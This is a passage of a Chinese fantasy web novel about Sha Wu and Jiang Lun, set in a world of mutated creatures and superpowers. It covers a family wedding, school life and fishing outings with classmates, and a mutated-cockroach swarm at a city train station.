“啊……”沙伍长长叹气，“你别跟我提链路，我学得头疼。今天院长回来了，我特别怕他考我。”能不提链路吗？ 姜纶觉得链路不难：“给我试试。我想拧螺丝。” 沙伍就把手上的工具给他：“你别用太大力气。” “哦。”姜纶答应得好好的，拿着螺丝刀随便转了两下，就穿透了柜子的木板，不由得陷入沉默，“果然……很复杂很复杂。” 第70章 简单婚礼 姜纶看了看破了个洞的柜子，把材料放上去，用异能把柜子直接融合扎实：“我干别的不行，做家具已经是熟练工了。”突然有些懊恼地说道，“早知道我应该去一趟生蚝岛，给二姐送点蚝壳家具。” 变异生蚝的能量基本都在蚝珠里，剩下的也是在肉里。 蚝壳并没有什么了不起的异能，剩下都是优点，美观坚固还防潮好打理。 也就是姜纶自己能这么操作才觉得，否则贵就是最大的缺点。毕竟这东西只有异能者能够操作。 沙伍觉得没必要这么折腾：“现在就很好了。” 现在的房子沙贰和曾绍祺已经住了好几年，看得出来他们为了结婚添置了很多东西，但大部分家具家电还是原来的旧物，只是保养得比较好。 整个小房子非常温馨。 姜纶显然也是这么觉得，认认真真参观了沙贰和曾绍祺的新房，拉着沙伍随时对其中的一个小物件认真讨论：“我们岛上的避难所少了很多东西。空荡荡的，不如二姐这里舒服。” 两百平的避难所，对比40平的小家，摆放的都只有一些生活必需品，那肯定空荡荡啊。 “我们要不要下次带张沙发过去？” 沙伍打开手环里记录的避难所的资料，里面有3D投影：“不用了吧。要不在中间铺一张大一点的地毯？到时候我们直接躺在地毯上玩就行了。” 在地毯上玩小鲨鱼？ 姜纶进行了一番畅享，觉得太可以有了：“那多准备一些地毯。” 沙伍不明所以：“为什么要多准备？” 姜纶理所当然道：“地毯容易脏啊。” 沙伍觉得有道理，又觉得哪里不对，嘀咕：“我们去得又不多，哪那么容易脏？算了。你喜欢什么图案的？” 姜纶下意识又进行了一番畅享，掩饰性地摸了摸鼻子：“我自己画设计图，交给人去做，应该很快。” 沙妈妈里里外外检查了一遍，做了一番记录：“缺的东西我已经下单订好了，一会儿应该就会送过来。你们照着我说的布置。小肆他们到车站了，我们先回家等着，明天直接酒店碰头。” “好。沙妈妈再见，小伍、叁弟再见。” “明天见。” 两人站在小露台上，看他们骑着两辆小飞车离开。 第二天姜纶被沙伍起床的动静吵醒：“几点了？” 沙伍看他坐起来，把他摁回去：“才四点，你再睡一会儿。我先送四姐去给二姐化妆，一会儿去接曾哥的爸妈。再去开曾哥定好的婚车，怎么也得九、十点。你睡着吧。” 姜纶被推下去，又坐了起来：“我想看看婚礼流程。” “等化妆很无聊的。反正我一会儿得回来换衣服，到时候再一起去酒店刚好。” 姜纶不听，坚持要跟着。 沙伍没办法，只能让他跟着。 楼下沙肆和沙壹一家显然已经起床了，声音都刻意放轻。 “桃桃还在睡？” “嗯。”沙壹皱眉，“你们起这么早干嘛？现在也用不上你们。你们11点和三弟一起直接去酒店。快去睡，本来就矮，还睡得少，更长不高了。” 肆妹妹要给新娘子做妆造只能跟着早起，其它的事情有家长有大哥，跟他们几个小的有什么关系？ 添乱。 沙伍听得直呲牙：“我不矮了！” 他这是正常身高。 沙壹冲着他冷笑：“桃桃过两年身高就超过你了。” “那不可能。” “一米八以上的中小学生多得是。你这体重，要超过你更简单。等过两年，桃桃把你这个叔叔抡起来跟抡风火轮似的。” 沙伍想象了一下那个画面：“大哥你怎么说话嘴巴变毒了？” 沙壹：“你忙着干活的时候，有个蠢弟弟在边上添乱，你也会跟我一样嘴毒。” 行叭。 沙伍感觉自己起床起了个寂寞，重新跟姜纶一起回房去睡回笼觉。 姜纶倒是还想挣扎一下，但被沙壹同样无情拒绝，同样被驱赶回房：“怎么觉得大哥说话的时候有一种血脉压制？” “这不就跟看到大姐一样么？” 家里的老大都是说一不二的。 姜纶不承认：“我现在就是打不过大姐才听她的，等我打得过了之后，家里就是我说了算。” 沙伍想不出来在家里为什么要说了算：“那要是你当老大了，想干嘛？” “求大姐不要再让我代班了。”说完，他觉得自己的用词错误，“我是说，兄弟姐妹之间要团结友爱，凡事要有商有量。” “哦~那你加油。”沙伍往床上一趴，就不动弹了。 姜纶看他耍赖皮，笑着把他抱起来盖好被子，再躺到他身边。 两人一觉睡到早上9点，收拾了一番后跟沙叁一起去了附近的酒店。 曾绍棋父母都在，只是他们都没有什么兄弟姐妹，也只有曾绍棋这么一个儿子。 婚宴就是订了一个酒店包厢，摆了一桌酒。 沙贰和曾绍祺穿着配套的大红色婚服，给双方长辈敬酒，收红包；然后又给没结婚的几个发红包。 姜纶双手接过红包：“我也有？” 沙贰笑道：“当然有。钱不多，沾沾喜气。” 姜纶很喜欢沾喜气这样的说法：“谢谢二姐、二姐夫。” “二姐、二姐夫百年好合。”沙伍收好红包，把他和姜纶准备好的红包塞进新娘子手里。 沙贰着实愣了一下：“你们又没结婚，还是小孩子，给什么红包？” “我这不是能赚钱嘛，又不是我非得打肿脸充胖子。”沙伍催他们，“快坐好，开席了！” 婚宴准备得很精心，哪怕只是普通食材，沙伍和姜纶也吃得很高兴。 午餐结束后，一行人回去新房。 沙贰和沙肆进房间，换掉身上繁琐的礼服。 曾绍棋则指着一个架子笑：“这架子是小伍弄的，还是小姜弄的？我可算是看出异能的厉害了，装的架子太牢固了，以后还没有螺丝生锈的问题。” “我弄的。我现在会造简单的房子，简单的家具也能搞定。”只要把异能控制再细腻一点，就可以勾链路，到时候就能给一个成套家居方案，“二哥，你家里有哪里坏的？我来修。” “真的假的？”曾绍棋也不客气，指了指窗户，“这扇窗下雨会漏水，修了几次没用。本来这里有一道水印子，最近新刷的漆。” 毕竟是住了好几年的房子，本身也是老房子，肯定会有这样那样的问题。 虽说问题都不大，但多少会给生活带来一点困扰。 沙伍有些担心：“你不行别乱搞啊，待会儿把房子给拆了。” 姜纶也有些心虚：“那不然你来？” 沙伍对自己也没什么信心：“我只会拆啊。哦，对，把管家机器人叫过来。我记得它有这方面的功能。” 管家机器人很快就自己驾驶着小飞车过来了，进门就开始扫描检修。 它都不用额外的耗材，直接就用晶核提供的能量，很快就把房子各种小毛病都修理完毕。 一群人啪啪啪鼓掌。 “管家好厉害。” “哇，异能好神奇。” “我还以为异能都是用来和变异生物打架用的。” 管家机器人转着圈躬身感谢：“谢谢、谢谢。请诸位跟我回家吧，家里准备好了水果点心和棋牌。” 沙贰和曾绍祺的小家实在是太小了。 这么多人，连个下脚的地方都没有。 众人就转战到了沙伍那边，等到晚上再去酒店吃了晚餐。 沙壹他们直接从酒店出发去车站，要赶着明天一早上班。 剩下的几个人就各回各家。 沙伍和姜纶坐上飞车。 姜纶的车有专属通道，几乎没什么限速，很快就回到了新宿舍，看到一群人在沙滩上嗷嗷嗷地开篝火会。 沙伍很快就加入了进去。 姜纶本来还端着点架子，没几下就被沙伍闹得一起唱唱跳跳。 沙伍收到同学信息的时候都没有注意，还是姜纶提醒才看到：“作业？什么作业？” 笑容一点一点消失，沙伍的表情变得惊恐：“啊！我忘记做作业了！” 他光着脚丫子飞一般直冲书房，开始拼命补作业补到天空发白。 “还要上早八。”沙伍趴在教室课桌上，感觉整个人都快要寄了。 同学们有不少跟他差不多萎靡不振的，全都躲在教室后排。 周一上午是公共课。 共工大学各个学院的校服都差不多，不仔细看的话分不清楚是哪个学院的。 有不少人都没有穿校服。 现在的气温还不高，但不妨碍有人已经提前穿起了春装。 不过像沙伍这样穿着背心中裤洞洞鞋的还是少数。 坐他旁边的都是十班的人，加上他人瘦，夹在里面耗不起眼，前提是睡着了不要打呼噜。 他打呼噜的声音不算响，但在只有老师说话声音的阶梯教室里，显得异常清晰。 老师忍了好几分钟，提醒了一句“上课注意听讲”，结果呼噜声依旧，忍无可忍走下讲台，停在沙伍面前，屈指在他课桌上敲了敲：“同学，别睡了。”又嘀咕了一句，“怎么一个人还呼噜出双重奏呢？” 总不能两个鼻孔各打各的呼噜？ 青龙学院的学生还有这异能？ 坐他身边的小丑鱼推了推沙伍：“醒醒。” 沙伍醒过来的时候满眼茫然，张口就是一连串链路题，说完之后对着小丑鱼呆了两秒，才像是刚接收到信号，又好像没接收到：“我醒着呢。我有认真听老师上课，你看我链路题都……” 老师忍了又忍：“有没有一种可能，我们现在上的是语文课？” 沙伍：“……喵？” 老师都快被气笑了：“喵什么喵？” “喵~”一只粉猫从沙伍的背包里钻了出来，跳到桌子上，对着老师眼睛一弯，“喵~” 老师鬼迷心窍一般伸手摸了摸，只觉得和普通猫的手感不太一样，又说不上哪里不一样，倒是怪好闻的：“咳嗯。上课认真听讲知道吗！” “知道了，老师。”沙伍坐下。 小粉跟着坐到沙伍腿上，两只前爪搭在桌面上，摆出一副认真听讲的架势。 好不容易结束了上午的课程，沙伍还被老师额外提醒了一句：“以后上课不可以带宠物。” “好的老师。”他都不知道小粉什么时候给自己打包的。 等老师离开了，小丑鱼才忍不住笑着问：“现在精神了？” 沙伍把小粉抱在怀里：“精神什么啊。我做梦在上链路课，难得要命。睡了比没睡还痛苦。” “你链路课学到哪儿了？”虾同学问，“我现在勾基础链路已经差不多了，就是缺练习材料，熟练度练不上去。你有没有多的晶核，算我便宜点？” “你已经会勾链路了？进度好快，我还在被数学折磨。”沙伍挠头，“你练习用的晶核用不着好看吧？” “嗯。不讲究质量，最差的就行。” “不好看的晶核我都卖掉了。等明天早上我出海的时候看看能不能搞到一点？” “不着急。你有就给我一点，反正我现在消耗不大。” 小丑鱼也挥了一下手：“有多的话，也给我点。对了，你们现在用什么材料？” 走过来的班长又默默走开，双目无神：“链路不是大二的课吗？” 他上大学之后就怠惰了。 不行，他才是唯一的班长，不能被同学们比下去。 他是哺乳动物在水产养殖学院最后的荣光！ 蓝鳍金枪鱼经过正好听到：“要不你们跟着陶华他们一起去河里面捞？上次我们实习的那条河里，变异小白条很多。” 她这种体型大的就没法去小河里搞淡水鱼了。 虽然变异小白条能够开出晶核的概率不大，但竞争少啊。 相对来说，还是海洋资源更加丰富，前提是不要跟学校的学长学姐们抢，毕竟不是每个人都能没事在污染区晃荡的。 沙伍到第二天早上下海，没看到人，才发现自己现在所在的海域不是学校的海湾和内海，而是在南面。 更远的地方有船，不过家门口这一大片区域看不出人类活动的痕迹。 大白鲨的背鳍划过清晨的海面，一只夜鹭落在上面。 黄海暖流带来了丰富的海产品，大白鲨轻而易举收获了大量的鲅鱼和黄花鱼。 黄花鱼没到回港，就被夜鹭给吃完了。 夜鹭还抓到一条加吉鱼，吞下去了一半，还吐出来给沙伍：“这个给你吃。” 沙伍拒绝：“不用了，你吃吧。” 他把鲅鱼挑挑拣拣，留下足够漂亮的带回家，剩下的原地放生。 祁大厨交给厨房机器做鲅鱼水饺，看着沙伍吃早餐：“等水饺做完了，你再带一些到学校里，跟同学们分一分。” “好~”沙伍答应得很快，问，“姜纶呢？还没起床吗？” 他起来的时候明明看到姜纶已经醒了，难不成又睡回笼觉去了？ 祁大厨指了指外面：“去架基站了。顺便还要把路清理出来，这样从学校到这里方便自动驾驶。现在这一段路要手动，还是蛮麻烦的。” 沙伍“哦”了一声，突然想起来：“我们这里是不是离3号监测点挺近的？” “说近也不算太近。飞车过去，怎么也得半个小时？你在天上看起来不远，其实这一片还是挺宽的。”祁大厨说着，突然扬声把梁管家叫了过来，“我们是不是把宿舍和3号监测点连起来？” 梁管家很悠闲地溜达进厨房：“今天小伍起得很早啊，以后也早点起，安安心心坐着吃早餐。”又说，“让小少爷自己去连吧。他不是说在那里开农场？连起来也方便一点。顺便铺个铁轨，以后走个小火车。” “他一个人干，得干到什么时候？”沙伍看给同学带的水饺一时半会儿还不熟，“我先去楼上换衣服。” 梁管家看他风风火火的：“小伍越来越活泼了。” 祁大厨把一次性分装盒准备好：“是少了些拘束。” “那你什么时候准备给他吃饭自由？” 祁大厨想都没想：“等我博士论文完成后。这是我的课题。”谁都别想动！ 梁管家忍俊不禁：“你又用不着学历，不如学着小薛去谈个恋爱？” 祁大厨想到自己带大的阿大阿二就摇头：“算了。我不喜欢做没结果的事情。” 谈恋爱有结果那就是结婚，结婚之后生孩子是很自然的事情。 他实在不想再带孩子。 有这时间，他还不如好好琢磨自己停滞不前的异能。 要说停滞也不准确，他能感觉到自己是在进步的。 同样八级，他比阿大阿二加起来都强得多，但八级的天花板是怎么都摸不到。 沙伍换完衣服下来，拿上祁大厨准备好的保鲜盒：“叔，梁伯，我去上学了！” “去吧。晚上别在外面乱晃，早点回来。” “好~” 沙伍直接从厨房后门出去，踩着飞板，一瞬间就不见了踪影。 路上看到姜纶在搞建设……他看着一座小山直接消失，赶紧往边上让了让。 姜纶注意到他，对他招了招手。 沙伍立刻飞到他身边，直接啊呜一口。 果然小少爷释放异能后还不能完全控制污染，香香~ 姜纶看着时间不适合再腻歪了，赶紧说道：“你想想什么时候请同学们到宿舍里聚餐？” “那我们不得先去抓点海货回来？最好去一趟生蚝岛。”那边的海鲜多，且更有特色。 姜纶也想去生蚝岛，但是他捕捞海鲜不行：“看看夜老师什么时候有空。” “那还是算了。院长挺累的，让他好好休息。” 沙伍要赶着去上课，提了一嘴3号监测点，马上就走了。 到了学校，分了水饺，同学们抱着饺子盒哀嚎：“早知道你给我们带吃的来，我就不吃食堂的早饭了。” “现在吃不下了。” “放到中午会不会冷掉？” 沙伍感觉他们太夸张了：“那你们拿过来，先放我这边保鲜盒里。”虽然便携式保鲜盒的保鲜功能不算太好。 果然，等上午的课程结束，水饺已经没那么热乎了。 同学们一点都不介意，一口一个吃得闷不吭声。 沙伍感觉用餐环境安静地有点怪，吃一口看看周围，吃一口再看看周围。 等同学们的水饺都吃完了，他还剩下一半。 “你今天怎么吃这么慢？” 沙伍不好说是因为自己多心，只能加快吃饭速度，吃完了才说道：“不就是水饺嘛，至于么？” “至于！”几乎全班一起大声吼出来的话，声音大到把所有人都吓了一跳。 随即，大家都哈哈哈笑了起来。 “你不是看过食堂的菜了嘛。” “天知道我们已经多久没吃过正常的食物了。” “感觉就军训的时候吃得最正常。” 尽管3号监测点缺很多调料，但天天吃新鲜的鱼，本来就不需要什么复杂的烹饪方式。 沙伍听他们提起自己的功劳，得意地摇头晃脑：“今天的水饺里的鲅鱼是我早上抓到的，特意挑了长得好看的。” 同学们：“……为什么做成馅儿的鱼，要选好看的？”甚至都不用摆盘。 沙伍陷入沉思：“好看的不会更好吃？” “不会。” 沙伍：“……吃好看的鱼，可以变得更好看？” “不能。” 沙伍拍桌：“不管了，反正我喜欢好看的鱼。”然后他从背包里拿出一个长条形盒子，递给虾同学，“白虹，你看看。” “什么？”虾同学打开盒子，露出里面一个个单独的小方格，里面全是各种晶核，马上反应过来，“这些鲅鱼里的晶核啊？我要最小的那种就行，等我挑一下。” 沙伍跟虾同学说：“祁叔挖的晶核，我没看。有好看的给我啊。” 全班跟着一起回答：“知道了知道了。” 鱼的好看与否不重要，晶核的好看与否还是很重要的，尤其是低阶晶核。 普通的低阶晶核不值钱，价格一般在几十到几百，偶尔有纯度能量都很高的那种，才能卖个几千。 但要是晶核长得好看，能够作为宝石使用，价格就完全不一样了。 哪怕是同一种东西，也是普通衣服和奢侈品衣服的区别。 鲅鱼个头大，沙伍留下的没多少，能够取出晶核的不多。 盒子里总共就八颗，长得都歪瓜裂枣。 “五颗一级的给我，剩下的你拿走吧。我暂时还用不到。”虾同学跟沙伍商量了价格，直接转账给他。 在收到不多的钱后，沙伍突然产生了一种明悟：“所以才说读异能学校很花钱。” 他一直不知道究竟有多花钱，毕竟从他进入青龙学院之后，各种必要支出基本没花过什么钱。 校服，免费。 一日三餐，食堂免费。 住宿，免费。 学杂费，免费。 学校每个月还给发补贴。 但要是学习链路需要自己买晶核，那损耗……不敢想不敢想。岂止是一夜赤贫，简直是瞬间身负百万。《 》 70-75 第71章 变异虫潮 其他本来单纯觉得他们只是学习进度快的同学们，琢磨了一下大二的课程，大部分脸色都不太好看。 他们的家庭情况大多不错，但也不可能无限制资助他们在这些基础材料上挥霍。 瞧着几十几百的不算多，但日积月累可不是一比小数目。 看看虾同学这样，显然损耗率不低。 全班对于异能控制力最细腻的，第一是小丑鱼，第二就是虾同学，毕竟是净化者。 沙伍这个半吊子净化者的情况比较复杂，细腻看不到，只能看到残暴。 感觉班级里的氛围沉重，沙伍赶紧说道：“对了，我搬新宿舍了。你们什么时候有空，过来一起吃个饭？” 吃饭！ “随时有空！” 小丑鱼突然就想起来：“我就说周末的时候经过你们宿舍，好像没什么人。怎么住的好好的，要换新宿舍？” “你是终于要跟姜纶分开了吗？” “滚滚滚！”沙伍听不得这个，“我们感情好着呢。这不是想多种点东西，新宿舍那边地比较大。” 不能说旧宿舍快被他们拆了。 新宿舍的主楼看起来和旧宿舍差不多，实际层高和房间的大小以及建筑强度都做了升级。 沙伍每天醒过来，看着特别特别高的天花板，就有一种自己十分渺小的感觉。 “你们那么大一个院子，还不够种地的？得种多少啊？” 影视剧里的宫殿都不一定有他们宿舍庞大，还不够种的？ 提起这个，沙伍就来劲了：“我寒假结束前一天不是去榕城了嘛。买回来各式各样的变异柠檬，我还买了一些茶树，还有一些别的花花草草。顺利的话，过几天我就有今年的第一个变异柠檬枕头了~” “你怎么那么喜欢变异柠檬？” “真有这么好睡？” “好睡！”沙伍拍胸，“信我。” 其他同学半信半疑：“没在外面见过卖变异柠檬的。” 有人已经开始搜索了：“有倒是有。一种是直发非居民区的树苗，一种是变异柠檬汁什么的，大部分是工业用。” 变异柠檬熟透了自动溅射的特性，让人几乎无法采集到完整的成熟的果实，也不可能栽种在居民区。 沙伍顿时感觉自己十分富足：“我，即将成为拥有最多变异柠檬枕头的人！” 鲤鱼吐槽：“感觉在你之前，应该没人把没成熟的变异柠檬当枕头。” 变异柠檬汁应用广泛，价格不算便宜，提前采摘好浪费。 精明的商人有点小小的心痛。 全班人一起叭叭叭，最后决定周末上沙伍新宿舍认门。 沙伍特意交代：“不用带什么东西啊。之前你们还带各种东西上门，跟做客似的。”想了想突然兴奋起来，“要不你们周五下午就过来，我们可以出海抓鱼。新宿舍那边的海没什么人。” 同学们听得一愣一愣的：“你们新宿舍在哪儿啊？还能换一片海？” 沙伍指了指东南方向：“在那边。” 周五上午的课结束后，同学们被沙伍挨个赶上飞车。 他今天特意开了一辆大巴，载着全班同学直接飞：“大巴是我找学校借哒~” 伍哥超帅，竟然开大车车！ “谁管你大巴还是小巴，你这是干哪儿去？” “这都过潮汐湖了！” “你别告诉我们新宿舍在3号监测点吧？” 这个猜测一出，其他人都觉得很有可能。 “有道理啊。姜纶之前不是说要在那儿开农场来着？” “对。现在也不知道农场到底怎么样了。” 沙伍知道：“我遛弯的时候去看过，3号监测点真的要变成正经农场还早着呢，现在还在养地，得过个两三年才能试种。” 有人趴在窗户边往下看：“那边是不是信号塔？” “哪儿？” “飞过了。” “这条河怎么这么直？” “湖也方方正正的。” 同学们一路观察，看到很多人工痕迹。 可能是现在天气还冷，植被不是很茂盛，从空中往下观察格外清晰。 学校大巴的速度比较慢，平时沙伍飞板或者飞车20分钟的路，今天花了将近一个小时。 到了目的地之后，别的先不管，同学们饿得嗷嗷一顿炫。 祁大厨对这些爱吃饭的孩子们都很喜欢，甚至亲自陪他们在附近山林里探险，又带他们去海边玩耍。 金黄的沙滩上潜伏着各种没什么威胁性的小海鲜。 沙伍不想用异能，拿着个小耙子，东一榔头西一棒子地扒拉沙滩：“我怎么挖不到蛤蜊？” 姜纶用异能拱出来一堆给沙伍：“喏。” 沙伍看着一堆蛤蜊疯狂卧沙，眼睛溜圆：“原来它们是怎么钻进去的。” 长久没有人烟的海滩，海货众多。 梁管家他们虽然也会去抓一些海鲜什么的，但不会跟沙滩上的这些小东西耗费时间。 这些变异贝类大部分都没有什么攻击性，只会吸引一些海鸟……或者水鸟。 沙伍看着还没来得及卧沙的蛤蜊，被夜鹭一个个叨出来吃掉。 “院长，你会开蛤蜊啊？”他还以为夜鹭会整个吞呢。 夜鹭抬起翅膀。 沙伍应声倒地，捧读：“啊。” 夜鹭的翅膀停留了一秒钟，慢慢收回：“又没打到你，叫什么叫？” 学生们看到夜鹭，纷纷提着标配红色塑料桶过来上贡：“院长院长，我挖了个超大的象拔蚌！” “院长，吃这个月亮贝，这个好看！” “院长，吃蛏子吧。这个肉嫩。” 受学生爱戴的夜鹭觉得孩子们很好，背着翅膀接受了学生们的好意：“那我带你们出去玩吧。” 姜纶一下就站了起来：“去生蚝岛吗？” “不去。”夜鹭脖子都伸长了，“去外海边上玩玩就好了。” 这些孩子只是普通的异能者，一多半连一级异能战士都不到，去什么生蚝岛？ 夜鹭一爪子提溜着巨大的泡泡，把整个十班的学生们一起放到了葫芦口外面一点点的海域。 这里没什么人，污染程度不算太高，有夜鹭看着也没什么危险。 姜纶和沙伍被规划在另外一片海域。 小海鲜们纷纷露头：“我们这样不是霸凌他们吗？” 今天是单马尾黑水鸡造型的夜鹭不以为意：“姜纶在，你们就别想抓到猎物。” 班级里的大型鱼类……和哺乳类已经兴奋起来了：“打猎打猎！” 平时最温和的虾同学都磨钳子弹尾巴：“赚钱赚钱！” 这样的机会可不多。 平时他们自己游到内外海交界处，为了保障自己不被环境污染，异能就已经消耗了个七七八八，还要和一群高年级的学长学姐竞争，根本不可能有什么像样的渔获。 今天完全是包场。 大白鲨游了过来，给他们在一块礁石附近放了个大泡泡：“设置复活点。” “嗷！谢啦兄弟！” 大白鲨一尾巴甩过去，模样恶形恶状，实际都没把鱼推远十厘米：“造次！叫爸爸！” “滚蛋！” 大白鲨就滚了。 没一会儿，同学们就配合着抓到一个鱼群……的一小部分。 他们一个个双眼放光：“一夜暴富！” 虽然这些鱼的等级不高，但数量大啊，光是卖鱼肉就有不少钱了。 更别说里面肯定还有不少晶核。 他们准备休息一下，再进行第二波，就听到远处的动静。 桃花水母飞起来一看，用手环拍摄远处的画面，并同步投放在海底，给同学们看：“他们玩得好开心。” 姜纶给沙伍搓了个海上乐园玩。 大白鲨在海面上蹦跶得跟条海豚似的。 大白鲨还背着个人蹦跶！ “我也想当大白鲨骑士！”说话的人用无限向往的眼神看向海豚班长。 班长抬起翅尖给了他一巴掌：“干活去！想什么呢？” 人家是恋爱关系，当然可以骑来骑去。 他们是父子关系！ 逆子！竟敢想骑老父亲！ 猝不及防的淡水鱼被扇了个螺旋升天，主打一个没有伤害全是表演。 其他人也都是一脸想玩，但是放不下钱的挣扎表情。 夜鹭就说：“想去玩的就去玩，想打渔的继续打渔。” 所有人都选择了打渔。 哪怕是家境比较好的同学们，都觉得能够这么尽情打渔的机会更加难得。 至于海上乐园，他们可以在潮汐湖玩，不一定非得挑污染海域。 愉快的周末结束后，天气似乎一下就春暖花开了。 新宿舍外面的樱桃树成片开花。 沙伍帮着薛春一起搬走混杂在里面的樱花树：“看看花不是也挺好的，为什么要移走？” 薛春沉默干活，过了一会儿才说道：“樱桃树能结果子，成片在一起方便后续管理。” 在跟沙伍视频通话的姜纶说道：“他只是失恋了，想找点事情干。” 被姜纶这么一提，沙伍才注意到薛春竟然周末在家，看了看薛春：“薛哥？”小少爷说的是真的还是假的？ 薛春双手撑在一棵樱花树上，慢慢蹲下，哇地一声哭了出来。 沙伍瞬间陷入激烈的头脑风暴。 怎么办？ 他现在该去安慰薛哥吗？ 他这种处于热恋期的人，说话会不会刺激到失恋的人？ 他该说什么比较合适？ 要不赶紧上网搜索一下？ 薛春也知道自己失态，吸了吸鼻子说道：“小伍自己去玩吧，我想静静。” “哦。那、那我走了。”沙伍扛起一棵樱花树，踩着飞板找到在调试基站的姜纶。 姜纶已经把从青龙学院到新宿舍的一条线的基站架设完毕，现在在调试的设备是到3号监测点的。 看到沙伍飞过来，他张开双臂把人从飞板上抱下来，先埋头吸了一口：“怎么扛了棵树过来？想种哪儿？” 沙伍其实是飞到一半才注意到自己扛着树的：“随便吧。” 这些樱花树带有一点点净化作用，不算是完全无用。 姜纶就随手把树种到河边。 基站在高处，今天天气很好，能够看到很远地方的海岸线。 他指着一个方向：“那边就是3号监测点。这边的设备调试好后，那边的信号也稳定了很多。等我把这一片连起来，就能建一座新城了。” 沙伍顺着他比划的方向看了看，地上好几条笔直的线，都是姜纶规划的河流和道路：“学校、墨城、宿舍、3号监测点。你是要建新城，不是说要建农场？” “现在很多农作物的产量都很高，粮食储备够，农场不用那么多地。现在主要是人口增长快，缺居住用地。新城市机会多，生活和居住环境会更好一点。我想着新城市不要建那么多高楼，跟瑞云实验室那边一样，房子矮一点，视野开阔，心情也好。”姜纶说起来的时候眼睛很亮，“这边距离青龙学院很近，有什么事情可以直接用青龙学院的资源。安全性比普通城市高多了。” 沙伍很喜欢姜纶现在的样子：“我就从来没想过这个问题。建新城啊，听上去真好。” 他以前只想着买个楼层高一点的房子，能够采光好一点。 居住问题一直存在，而且越来越突出。 这种问题甚至是沙伍从小到大都在一直经历的。 能够用摩肩接踵来形容的高楼，白天都照不进阳光的中低楼层，环境的压抑很难让人感觉到放松，更别提心情愉悦。 “你建城，我来净化！”沙伍放下豪言。 有什么能比自己在做的事情被伴侣赞同并且支持，更加让人心情愉悦的呢？ 姜纶刚想抱抱沙伍，就见他踩着飞板张开了泡泡开始净化，顺便维护起姜纶临时划定的公路线。 沙伍知道自己还做不到像祁叔那样直接净化一个小镇的规模，但多净化几次，肯定是会降低污染的嘛。 反正他一样要锻炼异能，怎么锻炼不是锻炼？ 然后他就得到了祁叔的指点。 姜祁，一个不耐烦带娃，却一直在带娃的八级净化者。 高水平多对一的指导，在持续了一个学年后，让沙伍的异能操作水平突飞猛进。 沙伍自己其实并没有太意识到这一点，只觉得期末的异能考试很简单，顺便还轻松地拿到了一级异能战士的认证。 恰逢暑假，沙伍就想去朱雀城玩耍。 小丑鱼是朱雀城人，虾同学作为已经入门的链路师，想去华夏大区最大的珠宝城，见识一下各种漂亮的链路设计。 三个人组队刚下城际列车，就听到车站里响起的警报声。 所有异能战士在第一时间加入到战斗中去，他们三个一级异能战士也不例外。 哪怕只是一级，他们比起普通人来说，战斗力和自保能力都强得多。 沙伍的泡泡几乎在瞬间就笼罩住了月台，各种变异生物的藏身之所无所遁形。 虫潮的恐怖不在于单个虫子的变异等级，而在于绝对数量和带来的大量的污染。 “不行，污染上升太快了。”小丑鱼作为朱雀城人，遇到这种事情并不慌乱，“我们得先和车站的警务站取得联系，听从指挥。他们会有人专门切割虫潮，小股虫潮就不会这么可怕了。” 虾同学本来有点惊慌，听他这么说，很快镇定下来：“我都听你的。” 沙伍有些难以理解现在迅速飙升的污染：“污染海域的鱼群也不是没遇到过，这些变异虫子单个的污染也不高，怎么聚集在一起那么……” 他没忍住，干呕了一下。 这不单单是污染值飙升的问题，是变异虫子们的污染气味太恶心了。 虾同学看着他强忍着恶心，还得让异能鲨鱼去咬冲过来的变异蟑螂群，顿时跟着干呕，无比同情沙伍：“你一会儿午饭还吃得下吗？” 朱雀城是美食大城。 他们三个在列车上的时候特意空着肚子，准备到朱雀城吃上几条街。 沙伍看着一只只背甲锃亮，从拇指大到西瓜大，从窄小的缝隙到在空中飞舞的变异蟑螂大军，脸都绿了：“其实你可以选择不说话的。” 攻击手段孱弱的虾同学和小丑鱼选择放弃攻击，直接净化，用高声呼喊和手环光屏指引，让周围慌乱的人群跟随。 朱雀城百姓们在最初的慌乱之后，马上就安静下来并且服从命令，加入到疏散队伍中。 沙伍的泡泡具有净化作用，对付异常上升的污染没有办法瞬间净化，但是对于身上沾染了一点污染的普通人，效果还是很显著的。 小丑鱼已经和车站警务处取得联系，在汇报了目前的状况后，对方很快就派出队伍过来接应。 车站这种相对比较开阔且有多个出口的建筑，还是比较容易疏散的。 普通人很快就被送了出去，沙伍他们被临时征召进队伍。 虾同学显然有些意外：“我们是净化者，应该在变异虫潮离开后负责净化工作。” 负责这一片的保安队长显然很意外，看向青着脸用异能鲨鱼凶狠咬死变异蟑螂的沙伍：“他也是净化者？” 虾同学肯定点头：“是的。你没发现污染值在下降吗？” 保安队长：“……第一次发现净化者这么猛的。好吧，你们找个就近的净化专科诊所。”这种情况下，净化者比异能战士更加稀缺，“需要我们护送吗？” “不用了。我们自己可以。” 附近已经找不到共享小飞车，好在净化专科诊所距离车站很近。 三个人步行前去的途中，顺带还干掉了几只落单的变异虫子。 沙伍看着小丑鱼把虫子的尸体收集起来，简直都不想说话：“你要这个干嘛？别告诉我你还想开晶核！” 这玩意儿也不知道怎么长的，全部都长在了他的恶心点上。 小丑鱼看着泡泡里黑亮亮的变异蟑螂尸体，脚步轻快：“为什么不？你是饱汉不知饿汉饥。平时在学校里想搞点晶核有多难，难得现在能随便乱捡。就算没有晶核，变异蟑螂能够制作净化原液，是很贵……很重要的材料。” 沙伍恨不得离小丑鱼八丈远：“拿远点！” 小丑鱼哈哈哈：“你确定不要？” “不要！” 小丑鱼把被异能小鲨鱼咬死的一群二十几只变异蟑螂收入囊中，跟在进行环境净化的虾同学说道：“那一会儿我们分。” 虾同学欣然接受：“好~” 沙伍听着他愉悦到转弯的调调，恨不得离他们远远的。 无奈作为三个人中间，唯一具有攻击力的人，他不得不跟他们站得很近。 这就表示，他距离变异蟑螂尸体很近！ 沙伍感觉自己快要崩溃了：“距离诊所还有多远？” 小丑鱼查了一下地图：“600米。” 沙伍觉得不对：“我们出车站的时候，不是距离只有500米吗？怎么还越走越远了？” “那时候的地图没有更新拥堵路段。前面有一段路封锁了，在清除变异白蚁。”小丑鱼带着他绕路，“走这边。” 沙伍跟着他七拐八弯，严重怀疑小丑鱼是在带着他做环境净化。 最后600米的路，他们硬生生走了半个小时。 沙伍一直往前走不回头，好不容易到达目的地，就见小丑鱼把他的小丑鱼泡泡交到一个窗口。 “有人吗？回收变异蟑螂！” “有有有！” 沙伍看着有两个多立方米的变异蟑螂尸体，头皮发麻：“所以我们才走这么久的？” 虾同学情绪稳定：“你才发现？花杨蓉一直在带着我们绕圈。诊所周围一圈差不多都清理干净了。” 